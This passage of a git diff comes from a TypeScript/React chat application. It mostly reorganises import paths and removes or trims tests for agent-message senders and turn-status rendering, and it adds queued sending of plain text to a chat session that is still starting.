-      const thread: AgentJournalTurnScope = { kind: 'thread' }
-      const row = (
-        itemId: string,
-        sequence: number,
-        body: AgentJournalItemBody,
-        turnScope: AgentJournalTurnScope
-      ): AgentJournalRenderItem => ({
-        itemId,
-        revision: 1,
-        sequence,
-        observedAt: sequence,
-        body,
-        ...(scoped ? { turnScope } : {})
-      })
-      const journal = (t1State: 'running' | 'completed', t2State?: 'running' | 'completed') => [
-        row('user-a', 1, { kind: 'message', role: 'user', blocks: [] }, thread),
-        row('t1', 2, { kind: 'turn', turnId: 't1', state: t1State, userItemId: 'user-a' }, thread),
-        row('tool-a', 3, { kind: 'message', role: 'assistant', blocks: [] }, t1),
-        row('user-b', 4, { kind: 'message', role: 'user', blocks: [] }, t1),
-        ...(t2State
-          ? [
-              row(
-                't2',
-                5,
-                { kind: 'turn', turnId: 't2', state: t2State, userItemId: 'user-b' },
-                thread
-              )
-            ]
-          : [])
-      ]
-      const list = (props: Partial<React.ComponentProps<typeof NativeChatMessageList>>) => (
-        <NativeChatMessageList
-          session={{ ...session, status: 'working', messages }}
-          isWorking
-          expandSignal={false}
-          {...props}
-        />
-      )
-      // B was sent while A's turn runs: the host's record still names A as the running turn's opener.
-      const { rerender } = render(
-        list({
-          workingStartedAt: Date.now() - 5000,
-          settledTurns: new Map(),
-          journalItems: journal('running')
-        })
-      )
-      const barA = screen.getByText('Working for 5s').closest('[data-native-chat-turn-status]')
-      expect(screen.getAllByText(/Working for/)).toHaveLength(1)
-      expect(screen.getByText('Run four sleeps').compareDocumentPosition(barA!)).toBe(
-        Node.DOCUMENT_POSITION_FOLLOWING
-      )
-      expect(barA!.compareDocumentPosition(screen.getByText('Also say banana'))).toBe(
-        Node.DOCUMENT_POSITION_FOLLOWING
-      )
-
-      // A’s bar settles under A; tool scope or journal order keeps A’s work inside its fold.
-      const expectSettledUnderA = () => {
-        const settledA = screen
-          .getByText('Worked for 17s')
-          .closest('[data-native-chat-turn-status]')
-        expect(screen.getByText('Run four sleeps').compareDocumentPosition(settledA!)).toBe(
-          Node.DOCUMENT_POSITION_FOLLOWING
-        )
-        expect(settledA!.compareDocumentPosition(screen.getByText('Also say banana'))).toBe(
-          Node.DOCUMENT_POSITION_FOLLOWING
-        )
-      }
-
-      // B's own turn opens: A settles in place and B counts from A's end.
-      rerender(
-        list({
-          workingStartedAt: Date.now() - 1000,
-          settledTurns: new Map([['user-a', { startedAt: 1, workedSeconds: 17 }]]),
-          journalItems: journal('completed', 'running')
-        })
-      )
-      expectSettledUnderA()
-      const barB = screen.getByText('Working for 1s').closest('[data-native-chat-turn-status]')
-      expect(screen.getByText('Also say banana').compareDocumentPosition(barB!)).toBe(
-        Node.DOCUMENT_POSITION_FOLLOWING
-      )
-
-      rerender(
-        list({
-          isWorking: false,
-          session: { ...session, status: 'ready', messages },
-          workingStartedAt: null,
-          settledTurns: new Map([
-            ['user-a', { startedAt: 1, workedSeconds: 17 }],
-            ['user-b', { startedAt: 2, workedSeconds: 51 }]
-          ]),
-          journalItems: journal('completed', 'completed')
-        })
-      )
-      expectSettledUnderA()
-      expect(
-        screen
-          .getByText('Also say banana')
-          .compareDocumentPosition(screen.getByText('Worked for 51s'))
-      ).toBe(Node.DOCUMENT_POSITION_FOLLOWING)
-      expect(screen.queryByText(/Working for/)).toBeNull()
-    }
-  )
-})
diff --git a/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-indexeddb.ts b/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-indexeddb.ts
index 41ebdcefbd2..d3575f4cee4 100644
--- a/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-indexeddb.ts
+++ b/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-indexeddb.ts
@@ -1,14 +1,14 @@
 // Keep persistence thin; the draft store owns merge and lifecycle policy.
 
-import type {
-  NativeChatComposerDraftStorage,
-  StoredNativeChatComposerDraft
-} from './native-chat-composer-draft-storage'
 import {
   committedTransaction,
   indexedDbConnection,
   settledRequest
-} from '@/lib/indexeddb-connection'
+} from '@/app-shell/storage/indexeddb-connection'
+import type {
+  NativeChatComposerDraftStorage,
+  StoredNativeChatComposerDraft
+} from './native-chat-composer-draft-storage'
 
 const DATABASE_NAME = 'orca-native-chat-composer-drafts'
 const DATABASE_VERSION = 1
diff --git a/src/renderer/src/components/native-chat/drafts/native-chat-draft-owner.ts b/src/renderer/src/components/native-chat/drafts/native-chat-draft-owner.ts
index 8cff22c0b3d..7ab37c7b842 100644
--- a/src/renderer/src/components/native-chat/drafts/native-chat-draft-owner.ts
+++ b/src/renderer/src/components/native-chat/drafts/native-chat-draft-owner.ts
@@ -1,5 +1,3 @@
-import type { AppState } from '../../../store/types'
-import type { NativeChatComposerDraftOwner } from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
 import {
   nativeChatDraftScopeTabId,
   structuredAgentSessionIdOfDraftScope
@@ -7,8 +5,10 @@ import {
 import {
   chatWorkspaceByTabId,
   structuredChatWorkspacesBySessionId
-} from '../../../lib/structured-chat-tab-index'
+} from '../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import { resolveWorktreeOperationRoute } from '../../../lib/workspace/ownership/worktree-operation-route'
+import type { AppState } from '../../../store/types'
+import type { NativeChatComposerDraftOwner } from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
 
 function workspaceOfDraftScope(
   state: Pick<AppState, 'tabsByWorktree' | 'unifiedTabsByWorktree'>,
diff --git a/src/renderer/src/components/native-chat/host-access/use-native-chat-provisional-launch.ts b/src/renderer/src/components/native-chat/host-access/use-native-chat-provisional-launch.ts
index 7dbec9b3d8e..ea53e02a1be 100644
--- a/src/renderer/src/components/native-chat/host-access/use-native-chat-provisional-launch.ts
+++ b/src/renderer/src/components/native-chat/host-access/use-native-chat-provisional-launch.ts
@@ -13,7 +13,10 @@ import {
   structuredAgentSessionLaunchHasRetainedInput,
   getStructuredAgentSessionLaunchResumes
 } from '@/lib/agent-session/launch/structured-agent-session-launch-input'
-import { relaunchFailedStructuredAgentSessionWithMessage } from '../../../lib/agent-session/launch/structured-agent-session-launch-message'
+import {
+  relaunchFailedStructuredAgentSessionWithMessage,
+  sendMessageToStartingStructuredAgentSession
+} from '../../../lib/agent-session/launch/structured-agent-session-launch-message'
 import {
   relaunchFailedStructuredAgentSessionForMessage,
   retryStructuredAgentSessionLaunch
@@ -117,7 +120,12 @@ export function useNativeChatProvisionalLaunch(
       send: () => boolean | 'queued'
     ): boolean | 'queued' => {
       if (starting) {
-        return false
+        // Attachments and skills are prepared against the live chat, so only plain text waits for it.
+        return (
+          !requiresSession &&
+          !!worktreeId &&
+          sendMessageToStartingStructuredAgentSession(worktreeId, sessionId, text) !== null
+        )
       }
       if (lifecycle !== 'failed' || !worktreeId) {
         return send()
diff --git a/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts b/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts
index 29b2d4a6b10..8ae7098a1c3 100644
--- a/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts
+++ b/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts
@@ -1,12 +1,12 @@
 import { useEffect, useMemo, useState } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { findKnownWorktreeById } from '@/store/slices/worktrees/listing/detected-worktree-meta'
-import { resolveRepoSlug } from '@/lib/repo-slug-index'
+import { resolveRepoSlug } from '@/lib/workspace/catalog/repo-slug-index'
 import {
   readRepoSlugCache,
   REPO_SLUG_FAILURE_TTL_MS,
   repoSlugCacheKey
-} from '@/lib/repo-slug-cache'
+} from '@/lib/workspace/catalog/repo-slug-cache'
 import { getKnownExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import type { AppState } from '@/store/types'
 import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
diff --git a/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts b/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts
index a7a017009ee..ca00c041b7d 100644
--- a/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts
+++ b/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts
@@ -1,17 +1,12 @@
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
+import { useAppStore } from '@/store/index'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
-import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
-import {
-  resolveWorktreeOperationRouteResult,
-  type WorktreeOperationRouteResolution
-} from '@/lib/workspace/ownership/worktree-operation-route'
+import { resolveWorktreeOperationRouteResult } from '@/lib/workspace/ownership/worktree-operation-route'
+import type { WorktreeOperationRouteResolution } from '@/lib/workspace/ownership/worktree-operation-route'
 import {
   createNativeChatTabOwnerSelector,
   findNativeChatTabOwnerWorktreeId
 } from '../../pane/ownership/native-chat-tab-owner'
-import { captureDirectSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
+import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
 import {
   parseExecutionHostId,
   toRuntimeExecutionHostId
@@ -21,12 +16,15 @@ import { resolveNativeChatTabDirectory } from '../../pane/routing/native-chat-ta
 import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner'
 import { useMemo } from 'react'
 import { shallow } from 'zustand/shallow'
-import { firstRegisteredStructuredChatTab } from '@/lib/structured-chat-tab-index'
+import { firstRegisteredStructuredChatTab } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import {
   selectDetectedWorktreesByRepo,
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
+import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
+import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 
 /** The transcript must not read until ownership and its path are both known. */
 export type NativeChatImageRuntimeContext = RuntimeFileOperationArgs | null
diff --git a/src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual.tsx b/src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual.tsx
index a8c5369ce30..edc7937b816 100644
--- a/src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual.tsx
+++ b/src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual.tsx
@@ -1,10 +1,9 @@
-import { useAppStore } from '@/store'
-import { captureLinkOpenIntent } from '@/lib/link-open-intent'
-import { beginLinkOpenRequest } from '@/lib/link-open-request'
+import { useAppStore } from '@/store/index'
+import { captureLinkOpenIntent } from '@/lib/links/placement/link-open-intent'
+import { beginLinkOpenRequest } from '@/lib/links/link-open-request'
 import { useContext, useEffect, useRef, useState } from 'react'
 import { SquareArrowOutUpRight } from 'lucide-react'
 import { toast } from 'sonner'
-import type { ArtifactWriteRequest } from '../../../../../../shared/artifacts/artifacts'
 import { ArtifactPublishButton } from '@/components/artifacts/ArtifactPublishButton'
 import { ArtifactPublishPreparationError } from '@/components/artifacts/artifact-publish-flow'
 import { Button } from '@/components/ui/button'
@@ -20,9 +19,10 @@ import {
 import { NATIVE_CHAT_VISUAL_RESERVED_HEIGHT, NativeChatVisualFrame } from './NativeChatVisualFrame'
 import { observeTranscriptVisibility } from '../images/native-chat-image-visibility'
 import { NativeChatForwardedGestureContext } from '../../viewport/scroll/native-chat-reader-scroll-input'
-import type { NativeChatVisualOwner } from './native-chat-visual-owner'
 import { readNativeChatVisual } from './native-chat-visual-read-client'
 import { useNativeChatVisualDocument } from './use-native-chat-visual-document'
+import type { ArtifactWriteRequest } from '../../../../../../shared/artifacts/artifacts'
+import type { NativeChatVisualOwner } from './native-chat-visual-owner'
 
 export function NativeChatVisualUnavailable(): React.JSX.Element {
   const t = useTranslate()
diff --git a/src/renderer/src/components/native-chat/messages/actions/NativeChatRowActionsProvider.tsx b/src/renderer/src/components/native-chat/messages/actions/NativeChatRowActionsProvider.tsx
index 831010543ca..1040d251e8c 100644
--- a/src/renderer/src/components/native-chat/messages/actions/NativeChatRowActionsProvider.tsx
+++ b/src/renderer/src/components/native-chat/messages/actions/NativeChatRowActionsProvider.tsx
@@ -1,6 +1,5 @@
 import { useMemo } from 'react'
-import { openDesktopStructuredSession } from '@/lib/activate-ai-vault-structured-session'
-import type { NativeChatStructuredViewProps } from '@/components/native-chat/native-chat-view-types'
+import { openDesktopStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import {
   NativeChatForkContext,
   NativeChatForkedFromContext,
@@ -8,9 +7,10 @@ import {
   NativeChatSideChatForkPointContext
 } from '@/components/native-chat/messages/actions/native-chat-fork-context'
 import { NativeChatRewindContext } from '@/components/native-chat/messages/actions/native-chat-rewind-context'
+import { useNativeChatTabOwnerWorktreeId } from '@/components/native-chat/pane/ownership/use-native-chat-tab-owner'
+import type { NativeChatStructuredViewProps } from '@/components/native-chat/native-chat-view-types'
 import type { NativeChatRewindSurface } from '@/components/native-chat/messages/actions/use-native-chat-rewind-host'
 import type { NativeChatPaneForks } from '@/components/native-chat/messages/actions/use-native-chat-fork'
-import { useNativeChatTabOwnerWorktreeId } from '@/components/native-chat/pane/ownership/use-native-chat-tab-owner'
 
 /** What the pane's transcript rows offer: rewind on prompts, fork on responses, and the chat a
  *  "Forked from" divider opens. */
diff --git a/src/renderer/src/components/native-chat/messages/agent-senders/NativeChatAgentMessageSenders.tsx b/src/renderer/src/components/native-chat/messages/agent-senders/NativeChatAgentMessageSenders.tsx
index a0569defe54..1ba07b8a322 100644
--- a/src/renderer/src/components/native-chat/messages/agent-senders/NativeChatAgentMessageSenders.tsx
+++ b/src/renderer/src/components/native-chat/messages/agent-senders/NativeChatAgentMessageSenders.tsx
@@ -2,19 +2,19 @@ import { Fragment } from 'react'
 import { ArrowUpRight } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
-import { openAgentMessageSender } from '@/lib/open-agent-message-sender'
-import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
+import { openAgentMessageSender } from '@/lib/agent-session/open/open-agent-message-sender'
 import { useNativeChatVisualOwner } from '../../media/visuals/native-chat-visual-owner'
-import {
-  agentMessageSendersShown,
-  type AgentMessageSender,
-  type AgentMessageSource
+import { agentMessageSendersShown } from '../../../../../../shared/agent-session/agent-session-message-source'
+import type {
+  AgentMessageSender,
+  AgentMessageSource
 } from '../../../../../../shared/agent-session/agent-session-message-source'
 import {
   unnamedSenderLabel,
   useAgentMessageSenderLabel
 } from './native-chat-agent-message-sender-label'
 import { useAgentMessageSenderOpens } from './native-chat-agent-message-sender-view'
+import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 
 /** Link a sender only where its one resolution can open something; otherwise a plain name. */
 export function NativeChatAgentMessageSenders({
diff --git a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-identity.test.tsx b/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-identity.test.tsx
index 60fd7b7c5cf..366dc502a46 100644
--- a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-identity.test.tsx
+++ b/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-identity.test.tsx
@@ -4,22 +4,19 @@ import {
   structuredAgentSessionTabId
 } from '../../../../../../shared/agent-session/view/structured-agent-session-projection'
 import '@testing-library/jest-dom/vitest'
-import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { cleanup, render, screen } from '@testing-library/react'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
+import { foldAgentSessionConversationNames } from '../../../../../../shared/agent-session/agent-session-conversation-names'
+import type { AgentSessionConversationNames } from '../../../../../../shared/agent-session/agent-session-conversation-names'
+import { testOrcaSessionId } from '../../../../../../shared/orca-session-address-test-fixture'
+import { NativeChatAgentMessageSenders } from './NativeChatAgentMessageSenders'
 import type {
   AgentSessionConversationName,
   AgentSessionStatusSummary
 } from '../../../../../../shared/agent-session/agent-session-wire'
-import {
-  foldAgentSessionConversationNames,
-  type AgentSessionConversationNames
-} from '../../../../../../shared/agent-session/agent-session-conversation-names'
 import type { AgentMessageSource } from '../../../../../../shared/agent-session/agent-session-message-source'
-import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
-import { testOrcaSessionId } from '../../../../../../shared/orca-session-address-test-fixture'
 import type { Tab } from '../../../../../../shared/tab-types'
-import { NativeChatAgentMessageSenders } from './NativeChatAgentMessageSenders'
 
 const feeds = vi.hoisted(
   () =>
@@ -63,14 +60,14 @@ vi.mock('@/runtime/native-chat/status/structured-agent-session-status-feed', ()
   }
 }))
 const openAgentMessageSender = vi.hoisted(() => vi.fn())
-vi.mock('@/lib/open-agent-message-sender', () => ({ openAgentMessageSender }))
+vi.mock('@/lib/agent-session/open/open-agent-message-sender', () => ({ openAgentMessageSender }))
 
 const ROOT = testOrcaSessionId('root-chat')
 const RECIPIENT = 'recipient'
 const SENDER = 'sender'
-const PANE = 'terminal:11111111-1111-4111-8111-111111111111'
+void 'terminal:11111111-1111-4111-8111-111111111111'
 const initial = useAppStore.getInitialState()
-const providerA = { key: 'session_id' as const, id: 'provider-a' }
+void { key: 'session_id' as const, id: 'provider-a' }
 
 function summary(sessionId: string): AgentSessionStatusSummary {
   return {
@@ -131,21 +128,6 @@ function publish(
     listener()
   }
 }
-function row(provider = providerA, agentType = 'claude'): AgentStatusEntry {
-  return {
-    paneKey: PANE,
-    terminalHandle: 'term-a',
-    worktreeId: SENDER,
-    state: 'working',
-    prompt: '',
-    updatedAt: 1,
-    stateStartedAt: 1,
-    stateHistory: [],
-    agentType,
-    providerSession: provider,
-    connectionId: null
-  }
-}
 
 beforeEach(() => {
   openAgentMessageSender.mockClear()
@@ -167,73 +149,6 @@ afterEach(() => {
   feeds.clear()
 })
 
-it('shows a chat sender by its current rename', () => {
-  const renamed = 'Production Release Scan & Compatibility Review'
-  useAppStore.setState({ unifiedTabsByWorktree: { [SENDER]: [tab(ROOT, '')] } })
-  const feed = feeds.get('local')!
-  const status = feed.snapshot
-  expect(feed.names.has(ROOT)).toBe(false)
-  render(<NativeChatAgentMessageSenders from={source()} chatWorktreeId={RECIPIENT} />)
-  expect(screen.getByText('Original sender')).toBeInTheDocument()
-  act(() => publish('local', undefined, [{ sessionId: ROOT, conversationName: null }]))
-  expect(screen.getByText('Original sender')).toBeInTheDocument()
-  act(() => publish('local', undefined, [{ sessionId: ROOT, conversationName: renamed }]))
-  const name = screen.getByText(renamed)
-  expect(name).toBeInTheDocument()
-  fireEvent.click(name)
-  expect(openAgentMessageSender).toHaveBeenCalledWith(
-    source(),
-    source().senders[0],
-    RECIPIENT,
-    undefined,
-    undefined,
-    renamed
-  )
-  expect(feed.snapshot).toBe(status)
-  expect(status.get(ROOT)?.conversationName).toBeUndefined()
-})
-
-it.each([false, true])(
-  'keeps CLI A saved name after provider B and a terminal rename reuse the shell (%s queued)',
-  (queued) => {
-    const terminal = {
-      id: 'terminal',
-      ptyId: 'pty',
-      worktreeId: SENDER,
-      title: 'Claude Code',
-      customTitle: 'Resumed A',
-      color: null,
-      sortOrder: 0,
-      createdAt: 0
-    }
-    useAppStore.setState({
-      agentStatusByPaneKey: { [PANE]: row() },
-      tabsByWorktree: { [SENDER]: [terminal] }
-    })
-    const from = source(true)
-    render(<NativeChatAgentMessageSenders from={from} chatWorktreeId={RECIPIENT} queued={queued} />)
-    expect(screen.getByText('Original sender')).toBeInTheDocument()
-    act(() => {
-      useAppStore.setState({
-        agentStatusByPaneKey: { [PANE]: row({ key: 'session_id', id: 'provider-b' }) },
-        tabsByWorktree: { [SENDER]: [{ ...terminal, customTitle: 'Renamed B' }] }
-      })
-    })
-    const link = screen.getByText('Original sender')
-    expect(link).toBeInTheDocument()
-    fireEvent.click(link)
-    expect(openAgentMessageSender).toHaveBeenCalledWith(
-      from,
-      from.senders[0],
-      RECIPIENT,
-      undefined,
-      undefined,
-      'Original sender'
-    )
-    expect(feeds.get('local')!.activations).toBe(0)
-  }
-)
-
 it('uses the same published /clear successor for the live sender label', () => {
   const live = testOrcaSessionId('22222222-2222-4222-8222-222222222222')
   publish('local', [summary(live)], [{ sessionId: live, conversationName: 'Continued sender' }])
diff --git a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-label.ts b/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-label.ts
index bdb35559a61..a866c94c8a2 100644
--- a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-label.ts
+++ b/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-label.ts
@@ -4,13 +4,13 @@ import {
 } from '@/runtime/native-chat/agent-senders/agent-sender-associations'
 import { agentMessageSenderLabel } from '../../../../../../shared/agent-session/agent-message-presentation'
 import { translate } from '@/i18n/i18n'
-import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { useTranslate } from '@/i18n/use-translate'
+import type { Translate } from '@/i18n/use-translate'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import {
   structuredChatTabBySessionId,
   structuredChatWorkspacesBySessionId
-} from '@/lib/structured-chat-tab-index'
+} from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useStructuredConversationName } from '@/runtime/native-chat/naming/structured-conversation-name'
 import {
   structuredAgentSessionOwnerForTab,
@@ -18,10 +18,11 @@ import {
   resolveStructuredAgentSessionOwner,
   executionHostIdForStructuredTarget
 } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
+import { getKnownExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
+import type { AppState } from '@/store/types'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type { AgentMessageSender } from '../../../../../../shared/agent-session/agent-session-message-source'
 import type { Tab } from '../../../../../../shared/tab-types'
-import { getKnownExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 
 export function unnamedSenderLabel(t: Translate = translate): string {
   return t('components.native-chat.agentMessage.unnamedSender', 'an agent')
diff --git a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-open.test.tsx b/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-open.test.tsx
deleted file mode 100644
index 5d2a83ba1ab..00000000000
--- a/src/renderer/src/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-open.test.tsx
+++ /dev/null
@@ -1,163 +0,0 @@
-// @vitest-environment happy-dom
-import { act, cleanup } from '@testing-library/react'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => ({
-  callRuntimeRpc: vi.fn(),
-  activatePane: vi.fn(),
-  activateChat: vi.fn(async () => true),
-  paneUnavailable: vi.fn(),
-  toastInfo: vi.fn(),
-  focusRenderer: vi.fn(() => true),
-  focusRuntime: vi.fn(async () => undefined)
-}))
-vi.mock('@/components/terminal-pane/links/handles/terminal-handle-links', () => ({
-  focusRendererTerminalHandle: mocks.focusRenderer,
-  focusRuntimeTerminalHandle: mocks.focusRuntime
-}))
-vi.mock('sonner', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  toast: { info: mocks.toastInfo, error: vi.fn() }
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  callRuntimeRpc: mocks.callRuntimeRpc
-}))
-vi.mock('@/components/sidebar/workspace-card/activity/use-worktree-agent-activation', () => ({
-  activateWorktreeAgentPane: mocks.activatePane
-}))
-vi.mock('@/components/terminal-pane/agent-status/stale-agent-row', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  showAgentPaneUnavailable: mocks.paneUnavailable
-}))
-vi.mock('@/lib/activate-ai-vault-structured-session', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  activateAiVaultStructuredSession: mocks.activateChat
-}))
-vi.mock('@/lib/agent-session/structured-agent-session-tab-activation', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  activateStructuredAgentSessionById: mocks.activateChat
-}))
-
-import { useAppStore } from '@/store'
-
-import { openAgentMessageSender } from '@/lib/open-agent-message-sender'
-
-import {
-  agentMessageSenderOpens,
-  resolveAgentMessageSenderTarget
-} from './native-chat-agent-message-sender-target'
-
-import { initialStore, resetSenderStore, status } from './native-chat-agent-sender.test-fixture'
-import type { AgentSenderPublication } from '../../../../../../shared/agent-sender-associations'
-import type {
-  AgentMessageSender,
-  AgentMessageSource
-} from '../../../../../../shared/agent-session/agent-session-message-source'
-
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { handleGlobalSessionEvent } from '@/runtime/web-session-tabs-sync/global-session-events'
-import { receivedAgentSenderPublications } from '@/runtime/web-session-tabs-sync/received-agent-sender-publications'
-import { VisibilityResumeCoordinator } from '@/runtime/web-session-tabs-sync/visibility-resume-coordinator'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '@/runtime/web-session-tabs-sync/tracking-lifecycle'
-
-let revision = 0
-/** Each delivery is the host's next revision, as a publishing host stamps it. */
-const publication = (
-  associations: AgentSenderPublication['associations'] = []
-): AgentSenderPublication => ({
-  associations,
-  principals: [],
-  attachments: [],
-  revision: { epoch: 'host', revision: ++revision }
-})
-const terminal = (handle = 'term_0', agent: AgentMessageSender['agent'] = 'claude') => ({
-  party: { address: handle, terminalHandle: handle, orcaSessionId: null },
-  name: 'Worker',
-  agent
-})
-const sourceOf = (sender: AgentMessageSender): AgentMessageSource => ({
-  kind: 'agent',
-  senders: [sender],
-  orchestration: null
-})
-
-/** What the card draws for this sender: its avatar, and whether its name is a link. */
-
-beforeEach(() => {
-  vi.useFakeTimers({ toFake: ['Date'] })
-  vi.setSystemTime(2_000_000)
-  resetSenderStore()
-  for (const mock of Object.values(mocks)) {
-    mock.mockClear()
-  }
-})
-afterEach(() => {
-  cleanup()
-  useAppStore.setState(initialStore, true)
-  vi.useRealTimers()
-})
-
-it("asks a paired host for its floating terminal's sender, which this window never mirrors", async () => {
-  resetWebSessionTabsSnapshotFreshnessForTests()
-  const paired = { kind: 'environment', environmentId: 'paired' } as const
-  const frame = (worktree: string, revision: number, identity: string) => {
-    const scope = publication([{ identity, paneKey: status(0).paneKey, worktreeId: worktree }])
-    return {
-      type: 'updated',
-      worktree,
-      publicationEpoch: 'host',
-      snapshotVersion: revision,
-      activeGroupId: null,
-      activeTabId: null,
-      activeTabType: null,
-      tabs: [],
-      agentSenderAssociations: { ...scope, revision: { epoch: 'paired-host', revision } }
-    }
-  }
-  // The window's real stream receipt, as for any paired frame.
-  const receive = (event: ReturnType<typeof frame>) =>
-    act(() =>
-      handleGlobalSessionEvent({
-        environmentId: 'paired',
-        expectedEnvironmentConnectionGeneration: 0,
-        expectedTrackingGeneration: 0,
-        visibilityGeneration: 0,
-        isCurrent: () => true,
-        event,
-        response: { id: 'stream', ok: true, result: event, _meta: { runtimeId: 'rt-1' } },
-        awaitingVisibilityResumeInventory: { value: false },
-        coordinator: new VisibilityResumeCoordinator({
-          environments: [],
-          environmentIdBySubscriptionSpec: [],
-          omissions: new Map(),
-          activeRuntimeWorktreeKey: () => null
-        })
-      })
-    )
-  const floatingTabs = useAppStore.getState().tabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]
-  receive(frame(FLOATING_TERMINAL_WORKTREE_ID, 1, 'term_float'))
-  receive(frame('workspace', 2, 'term_0'))
-  const state = useAppStore.getState()
-  expect(Object.keys(state.agentSenderPublicationsByHost['runtime:paired'])).toEqual(['workspace'])
-  expect(state.tabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe(floatingTabs)
-  const floating = terminal('term_float')
-  const resolved = resolveAgentMessageSenderTarget(state, floating, 'workspace', paired, undefined)
-  expect(resolved).toEqual({ kind: 'gone', sender: 'terminal' })
-  expect(agentMessageSenderOpens(resolved, floating)).toBe(true)
-  await openAgentMessageSender(
-    sourceOf(floating),
-    floating,
-    'workspace',
-    paired,
-    undefined,
-    'Worker'
-  )
-  expect(mocks.callRuntimeRpc).toHaveBeenCalled()
-  expect(mocks.activatePane).not.toHaveBeenCalled()
-  // This machine's own floating terminal still publishes its senders.
-  const local = receivedAgentSenderPublications({}, 'local', [
-    frame(FLOATING_TERMINAL_WORKTREE_ID, 3, 'term_local')
-  ])
-  expect(Object.keys(local.local)).toEqual([FLOATING_TERMINAL_WORKTREE_ID])
-})
diff --git a/src/renderer/src/components/native-chat/messages/rows/NativeChatMessageRow.test.tsx b/src/renderer/src/components/native-chat/messages/rows/NativeChatMessageRow.test.tsx
deleted file mode 100644
index 489be59fd78..00000000000
--- a/src/renderer/src/components/native-chat/messages/rows/NativeChatMessageRow.test.tsx
+++ /dev/null
@@ -1,201 +0,0 @@
-// @vitest-environment happy-dom
-import { NativeChatHostSetupContext } from '../../host-access/native-chat-host-setup'
-import '@testing-library/jest-dom/vitest'
-import { cleanup, fireEvent, screen, waitFor } from '@testing-library/react'
-import { render } from '../actions/native-chat-tooltip-test-harness'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
